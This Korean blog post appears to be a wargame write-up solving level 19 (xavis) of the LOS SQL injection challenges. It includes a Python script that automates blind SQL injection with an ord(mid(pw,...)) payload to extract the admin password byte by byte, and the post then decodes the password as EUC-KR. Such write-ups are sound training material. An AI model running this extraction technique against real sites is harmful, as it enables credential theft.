본문으로 바로가기

[LOS]19번 xavis

category Wargame/LOS(eagle-jump) 2017. 8. 7. 02:50


무척 귀여운 자비스다.


기분좋게 시작해보자





는 무슨 2일 내내 고민해서 풀었다;;;


아무것도 못하고 이것에만 매달렸다... 배고파.. ㅠ






소스코드를 보면 기분이 좀 좋아진다




큰 필터링이 없어보여 쉽게 admin을 얻을 수 있다.


비밀번호를 알아내야 풀리는 함수니 길이부터 차근차근 알아가보자






40..?


이제 손으로 하지 말라 뭐 그런건가 싶어 코딩을 하기 위해 첫자리만 손으로 찾아보았다.





음? 아스키코드가 0?


0은 NULL인데.... 응?


여기서부터가 악몽의 시작이다.



첫글자부터 문자열의 끝을 알려주니 멘붕이 올 수밖에....


무척이나 혼란스럽다가 문득 떠오른 생각


"아스키코드로 표현할 수 없나?"


멀티바이트 문자가 여기에 해당될것이다.


멀티바이트 문자는 어떻게 찾을것인가?


이 고민을 가지고 검색해보니 그동안 몇번 써봤었던 ord 함수가 멀티바이트 문자를 구분해낼 수 있다는 결과를 얻을 수 있었다.


바로 써보자




확실히 아스키코드의 범위인 127이상에서 참이 되기 때문에 멀티바이트 형식을 사용함을 알 수 있었다.


이제 코딩을 해보자



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
 
head='cookie' : 'PHPSESSID=r3ae1; __cfduid=d435714' }
 
def play(x,y,z):
    if x<0:
        x=0
    for i in range(x,y,z):
        URL = "http://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?"
        params = {'pw':"' or id='admin' and ord(mid(pw,"+str(j)+",1))>'"+str(i)}
        res = requests.get(url=URL, params=params, headers=head)
        if "Hello admin" not in res.text[0:160] :
            if z==1:
                print(hex(i))
                return
            play(i-z,i+1,z//2)
            return
 
for j in range(1,41):
    play(0,256,128)
cs


실행횟수가 많아질것 같아 재귀함수를 통해 조금 줄여보았다.


아무튼 편하게 16진수로 출력하면 아래와 같은 결과가 나온다.



10개의 16진수가 나온다.


이제 이 멀티바이트 형식의 문자를 원래대로 되돌려놓자!



유니코드는 아니었다.


그럼 한글을 표현하는 다른 인코딩 방식인 EUC-KR을 확인해보자





ANSI 인코딩이 한국에서 확장된 EUC-KR은 잘 되었다.


"몽키패치ㅋ"


그런데 여기서 의문이 든다.






ANSI는 아스키코드의 확장된 버전인데 ASCII함수를 사용했을때 왜 0값(NULL)이 나온것일까?


이 질문만 가지도 또 2일을 고민했다.


주변사람들에게 물어도봤지만 아직 확실하게 해결하지는 못했다 ㅠㅠ






이제 나온 값을 넣어보자!!



음?




이건 누가봐도 답인데 왜 아닌걸까...


몽키패치가 힌트인걸까?


검색해보았다.




음.....


뭔지는 잘 모르겠지만 '속성' 이라는 단어에 힌트를 얻었다.


보통 default는 latin1로 되어있으니 혹시나해서 실험해보았다.



물음표로 다 바뀌어버렸다.


아무래도 라틴계열은 아닌것 같다.





그렇다면 혹시 해당 데이터베이스가 ANSI인코딩을 사용하고 있지만


ANSI의 확장형인 EUC-KR은 지원하지 않을수도 있지 않을까?






이 생각을 실험으로 옮겨줄 친구가 한명 있다.


HxD


이 친구가 바로 EUC-KR을 지원하지 않는 친구다






ANSI 인코딩이지만 LOS에서 뽑아온 16진수들을 넣어주니 한국어로 변환되지 못해 이상한 기호들이 나오는것을 확인할 수 있었다.


혹시?




두둥!!


한가지 의문점만 풀리면 완전 통쾌할텐데... 아쉬운 문제다 ㅠㅠ


'Wargame > LOS(eagle-jump)' 카테고리의 다른 글

[LOS]21번 iron_golem  (0) 2017.08.14
[LOS]20번 dragon  (0) 2017.08.09
[LOS]18번 nightmare  (0) 2017.08.04
[LOS]17번 succubus  (0) 2017.08.04
[LOS]16번 zombie_assassin  (0) 2017.08.03